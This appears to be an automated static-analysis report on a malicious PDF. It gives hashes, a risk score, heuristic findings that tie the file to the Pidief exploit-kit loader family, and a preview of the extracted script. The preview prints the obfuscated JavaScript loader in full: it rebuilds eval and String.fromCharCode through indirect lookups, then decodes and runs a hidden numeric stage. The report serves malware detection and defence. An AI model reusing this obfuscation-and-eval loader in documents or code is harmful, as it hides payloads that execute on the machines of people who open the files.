Malicious PDF — malware analysis report

Static analysis result for SHA-256 ecf119e22393f038…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2026-05-07
MD5: 0a0cf4a3377908bc6bb5fed3ece57c2d SHA-1: d9ae47fb7a25ca7aacbfc0563202e4b94b81c912 SHA-256: ecf119e22393f038e3a541362b25feec1b529fd8e0db032589d66c03b60eb073
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely designed to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions cannot be determined without further analysis of the script content. The document body text is minimal and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB062 488 bytes
SHA-256: a6e2f8ea40be7a8f7abad362387162ec9a4430e82ac0ac1c5697f0c163f70db4
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
ndctm=e(v[4]+'i'.concat(v[4],t));
q=ndctm[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
qlq=e(e('d'));
sub=v[0];
sub+='ubject';
q=ndctm[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	fdg = 1*(q[i]);
	i++;
	fdg -= (-1)*(q[i]);
	s2 += qlq(fdg);
	i++;
}
e(s2);

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